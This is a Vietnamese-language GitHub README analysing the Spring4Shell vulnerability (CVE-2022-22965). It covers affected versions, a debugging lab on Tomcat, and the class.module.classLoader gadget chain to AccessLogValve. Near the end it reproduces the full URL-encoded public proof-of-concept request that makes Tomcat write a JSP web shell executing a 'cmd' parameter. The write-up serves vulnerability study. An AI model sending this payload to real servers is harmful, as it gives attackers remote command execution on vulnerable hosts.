Skip to content

khidottrivi/CVE-2022-22965

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 

Repository files navigation

Phân tích CVE 2022-22965_Spring4Shell

Mô tả lỗ hổng

Spring4Shell là tên của một CVE tồn tại trên Spring Core của Spring Framework.

Với điểm CVSS 3.x là 9.8, lỗ hổng được xếp vào mức rủi ro cao nhất( critical). Lỗ hổng này cho phép kẻ tấn công thực hiện chạy mã khai thác từ xa và kiểm soát server chứa lỗ hổng.

Cùng với sự phổ biến của Spring Core trên internet và mức độ ảnh hưởng nghiêm trọng của Spring4Shell, lỗ hổng này được các chuyên gia đánh giá có sức ảnh hưởng không kém hơn Log4shell.

Phạm vi ảnh hưởng

Spring4Shell không ảnh hưởng đến toàn bộ các ứng dụng web sử dụng Spring Framework trên internet mà nó yêu cầu ứng dụng web phải tồn tại các yếu tố sau:

  • Ứng dụng sử dụng Spring Framework version < 5.2, 5.2.0 – 5.2.19 hoặc 5.3.0 - 5.3.17
  • Ứng dụng có sử dụng một trong hai dependencies Spring-webmvc hoặc Spring-webflux
  • Ứng dụng sử dụng java với jdk version >= 9
  • Ứng dụng được đóng gói dưới dạng một traditional Java web archive( file .war) và thực hiện deploy trong Tomcat( chưa phát hiện lỗ hổng tồn tại trên ứng dụng chạy bằng Springboot)

Setup môi trường

Môi trường mình setup sẽ có thông số sau:

  • Spring Framework 5.1.0
  • Spring-webmvc dependency 5.1.0
  • JDK 11.0.13( mình dùng máy ảo kali 2021.4a và bản java này là bản cài sẵn)
  • Apache Tomcat 9.0.45

Tạo môi trường, project có chứa lỗ hổng và setup debug với Intellij

  1. Cài đặt Apace Tomcat

    Như đã nêu trên, mình sử dụng kali 2021.4a và Apache Tomcat 9.0.45. Nếu bạn chưa biết cài đặt Apache Tomcat và muốn cài trên Kali linux thì có thể tham khảo link này.

    Lưu ý: Thay link https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz bằng https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz

  2. Chọn IDE

    Ta cần một IDE để code project, đóng gói project dưới dạng file .war và một vô cùng quan trọng đó là debug. Mình thì dùng Intellij, bạn hoàn toàn có thể sử dụng Eclipse hoặc Netbeans,... Miễn là IDE đó hỗ trợ java.

  3. Tạo một simple Project có chứa lỗ hổng

    Project của mình vô cùng đơn giản, gồm:

    • một model HelloWorld.java

      Untitled

    • một controller HelloWorldController.java

      Untitled

    • một view là hello.jsp

      Untitled

  4. Build file .war

    Để đóng gói project, bạn làm như sau: Build -> Build Artifacts -> helloworld:war -> Build.

    Đợi tiến trình Build thành công, lúc này project sẽ xuất hiện thêm một folder out, bạn vào ./out/artifacts/your_war_name/ sẽ thấy một file your_war_name.war , thì file .war này chính là project web sau khi được compile và đóng gói, file .war này có thể dùng để deploy trên các Java Servlet như Apache Tomcat.

    Nếu Build Artifacts bị mờ( không thể Build Artifacts được) thì là do chưa setup Build Artifacts cho Project này, bạn vào: File -> Project Structure -> Artifacts -> Delete tất cả artifacts hiện có -> Add( dấu +) -> Web Application: Exploded -> From Modules... -> OK ( kết thúc tạo Exploded) > Add( dấu +) -> Web Application: Archive -> For ‘helloworld:war exploded’ -> OK. Sau đó thực hiện lại Build Artifacts.

  5. Deploy và setup debug

    • Deploy

      Để deploy một file .war lên Apache Tomcat thì chỉ cần copy file .war vào thư mục /webapps bên trong thư mục Apache Tomcat( VD: Với mình thì mình sẽ copy file helloworld.war( mình đổi tên cho dễ gọi) vào thư mục /opt/tomcat/apache-tomcat-9.0.45/webapps/). Sau đó, start Tomcat server bằng 2 cách( cho linux):

      • /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh start( ứng dụng sẽ chạy với quyền user thực hiện lệnh này, với mình là root@@)
      • sudo service tomcat start( ứng dụng thường sẽ chạy với quyền tomcat, phụ thuộc vào bạn config service lúc setup Apache Tomcat)

      Sau khi deploy xong, bạn truy cập http://localhost:8080/helloworld

    • Setup debug

      Để setup debug (remote) Tomcat, bạn thực hiện như sau:

      1. Phía server:

        • mở file catalina.sh và thay giá trị localhost thành ip_may_ao của param JPDA_ADDRESS

          Untitled

        • start lại Tomcat server bằng: /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start. Lúc này, ngoài mở port 8080 cho HTTP Server thì Tomcat sẽ mở thêm port 8000 để cho chúng ta connect đến và debug

        Chú ý: Ở phần debug này là mình thực hiện chạy Intellij trên Window 10 và chạy tomcat trên máy ảo Kali nên mới cần thay đổi JDPA_ADDRESS, nếu bạn setup cả Intellij và Window 10 trên cùng một máy thì không cần thay đổi.

      2. Phía intellij:

        • vào Run -> Edit Configurations... -> Add( dấu +) -> Remote JVM Debug

        • Đặt tên -> chỉnh sửa Host và Port thành ip và port lúc bạn sửa trong file catalina.sh -> OK -> Shift + F9 ( khởi chạy Debug)

          Untitled

Phân tích chi tiết

Trước tiên, mình sẽ phân tích qua project mình đang dùng để debug, như đã nói ở trên, project này chỉ đơn giản gồm:

  • Một model HelloWorld.java, trong đó object HelloWorld có hai thuộc tính là message( string), person( string) và các hàm setter, getter( vì có cấu trúc đơn giản như này nên Object này được gọi là Plain Old Java Object - POJO). Trong project phải tồn tại một POJO class - Đây là điều kiện cần có để có thể khai thác lỗi Spring4Shell.
  • Một controller HelloWorldController.java, trong class này có một hàm helloPost có tham số đầu vào gồm object helloWorld( HelloWorld) và model( Model). Trong hàm helloPost sẽ thực hiện việc addAttribute cho object model từ các giá trị của thuộc tính của helloWorld( person và message) - Điều kiện thứ hai để có thể khai thác lỗi Spring4Shell là phải có một controller nhận input là một POJO object.
  • Một view hello.jsp, trong file hello.jsp này sẽ gọi các attribute trong model( được gửi từ controller HelloWorldController.java) và hiển thị nó ra cho người dùng.

Mình có một ví dụ như sau:

Untitled

Ứng dụng đã lấy lấy thông tin từ các params của Post request và tạo ra một object helloWorld{“person”:”Leo”, “message”:”Hi there”}, object helloWorld này chính là đầu vào cho hàm helloPost. Ứng dụng sẽ làm các công việc như mình nêu trên để trả về cho người dùng response kia.

Quá trình chuyển từ các parameters trong body của Post request sang object helloWorld hoàn toàn được Spring thực hiện tự động, vậy nó làm như thế nào và liệu nó có validate các parameters được input vào không?

Nguồn( Source) class CachedIntrospectionResults

Ảnh này capture trong quá trình Debug, ví dụ được thực hiện request với body là “class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT”( mình gọi bên trái ( stack trace) là (1) và bên phải là (2)):

Untitled

Trong (1) mình đã highlight các điểm cần lưu ý( nhìn ngược từ dưới lên), thì Spring sẽ thực hiện applyPropertyValue cho object helloWorld từ các params của Post request. Và nếu các params chỉ đơn giản là person=Leo&message=Hi%20there thì Spring sẽ có thể tìm ra với keyworld ‘person’ sẽ tương ứng với helloWorld.person, ‘message’ tương ứng với helloWolrd.message.

Nhưng Spring còn cho phép ta gửi các object qua http request( nói gửi object qua http thì hơi quá, nhưng hiểu nôm na như vậy). Mình giả dụ thuộc tính person của mình không còn là string mà sẽ là một object Person và trong Person sẽ gồm 2 thuộc tính con là name( string) và age( int). Và để gửi thông tin về object Person này đến server sẽ như sau: “person.name=Leo&person.age=23”.

Vậy là form của params sẽ có dạng A.B.C.D… = X chứ không còn là A=X. Và để xử lý được dạng A.B.C.D… = X , giả dụ có một param như sau A.B.C= X thì nói đơn giản Spring sẽ làm công việc như này, chuyển đoạn trên thành getA.getB.setC(X).

Mình sẽ không giải thích getA là gì mà sẽ ví dụ với trường hợp body request là “person.name=Leo&person.age=23” thì Spring sẽ tìm trong object helloWorld có thuộc tính person và hàm getPerson không, nếu có Spring sẽ gọi helloWorld.getPerson(), lúc này Spring sẽ nhận được một object có loại là Person, mình tạm gọi là person1, và Spring sẽ tìm trong person1 có thuộc tính nào là ‘name’ và setName ( vì sau ‘name’ là dấu ‘=’) không, nếu có thì Spring sẽ gọi setName(Leo) cho person1.

Với person.age, Spring sẽ không gọi lại từ đầu để tìm person rồi mới đến age nữa mà nó sẽ sử dụng lại các object cũ trước đó, trong trường hợp này là helloWorld và person1.

Sau các bước trên thì lúc này trên server sẽ có một object helloWorld{person:{name:”Leo”, age:23}}( tạm bỏ qua thuộc tính message nhé).

Vậy làm thế nào để Spring có thể tìm được các thuộc tính của từng object, ví dụ như thuộc tính ‘person’ của object helloWorld?

Thì bạn nhìn vào phần đầu của (1) có hàm CachedIntrospectionResults(beanClass), hàm này sẽ thực hiện list các thuộc tính của beanClass. Bạn nhìn vào (2) sẽ thấy khi beanClass là model.HelloWorld sẽ có 3 thuộc tính. Trong khi đó, model HelloWorld mình tạo chỉ có 2 thuộc tính là ‘person’ và ‘message’ thôi, vậy là hàm trên đã trả về thêm một thuộc tính ‘class’ và nếu expand hàng ‘class’ bạn sẽ thấy propertytype là ‘java.lang.class’

Vậy là ta có thể tác động đến một object class có type là java.lang.classclass -> Đây chính là nguồn gốc( source) của Spring4shell này.

CVE-2010-1622

Liên quan đến source trên, thì đã có một CVE-2010-1622 liên quan đến source này. Tác giả của CVE-2010-1622 đã khai thác source này bằng payload class.classLoader.URLs[0] = X.

Bởi vì trong class java.lang.class có chứa hàm getClassLoader() trả về một ClassLoader object và ClassLoader này có thể tác động được đến array URLs của Tomcat( dùng để load resources). Và việc có thể tác động được đến URLs, attacker có thể thay đổi giá trị URLs[0] thành một địa chỉ URL để thực hiện remote đến một malicious Jar file( do attacker kiểm soát).

Thì để khắc phục lỗi này, Spring đã thực hiện filter( blacklist) trong hàm CachedIntrospectionResults(beanClass):

Untitled

Nếu ‘beanClass’ == Class.class( java.lang.class) thì pd phải khác ‘classLoader’ và ‘protectionDomain’ và bằng chứng là sau khi CachedIntrospectionResults thực hiện load hết các thuộc tính của java.lang.class thì không có hai thuộc tính ‘classLoader’ và ‘protectionDomain’:

Untitled

Nhưng thay vào đó, kể từ JDK 9, Class.class có bổ sung thêm thuộc tính ‘module’ và trong Class.module có thuộc tính classLoader:

Untitled

→ Vậy là bằng cách sử dụng JDK 9 trở đi đã có thể bypass được blacklist của Spring!!!

Đích( Sink) class AccessLogValue

Dựa vào public PoC của lỗi Spring4Shell, ta có thể thấy payload họ dùng có dạng:

class.module.classloader.resources.context.parent.pipeline.first ⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()

Dựa vào debug, ta có thể thấy gadget chain sau:

java.lang.class.getModule() -> java.lang.module.getClassLoader() -> org.apache.catalia.loader.ParallelWebappClassLoader.getResources() -> org.apache.catalia.webresources.StandardRoot.getContext() -> org.apache.catalia.core.StandardContext.getParent() -> org.apache.catalia.core.StandardHost.getPipeline() -> org.apache.catalia.core.StandardPipeline.getFirst() -> org.apache.catalia.valves.AccessLogValue.

Và class AccessLogValue gồm các thuộc tính sau:

Untitled

Ta có thể gọi được một object AccessLogValue và AccessLogValue này ảnh hưởng đến việc ghi log của Tomcat.

Ta có thể tạo file trên server bằng cách set các thuộc tính của object AccessLogValue trên Tomcat server. Để làm điều đó, trong PoC họ đã thực hiện set các thuộc tính Prefix, Suffix, Pattern, Directory và fileDateFormat. Và payload request sẽ như sau:

“class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=”

  • List Breakpoints

    Để cho quá trình debug dễ dàng hơn, bạn có thể đặt breakpoint tại các điểm sau:

    Untitled

Conclusion

Bài phân tích này đúng ra không có phần conclusion, đoạn này chỉ thêm vào với mục đích cho có!!!

Nếu bạn đang tìm cách khắc phục thì nó đây.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published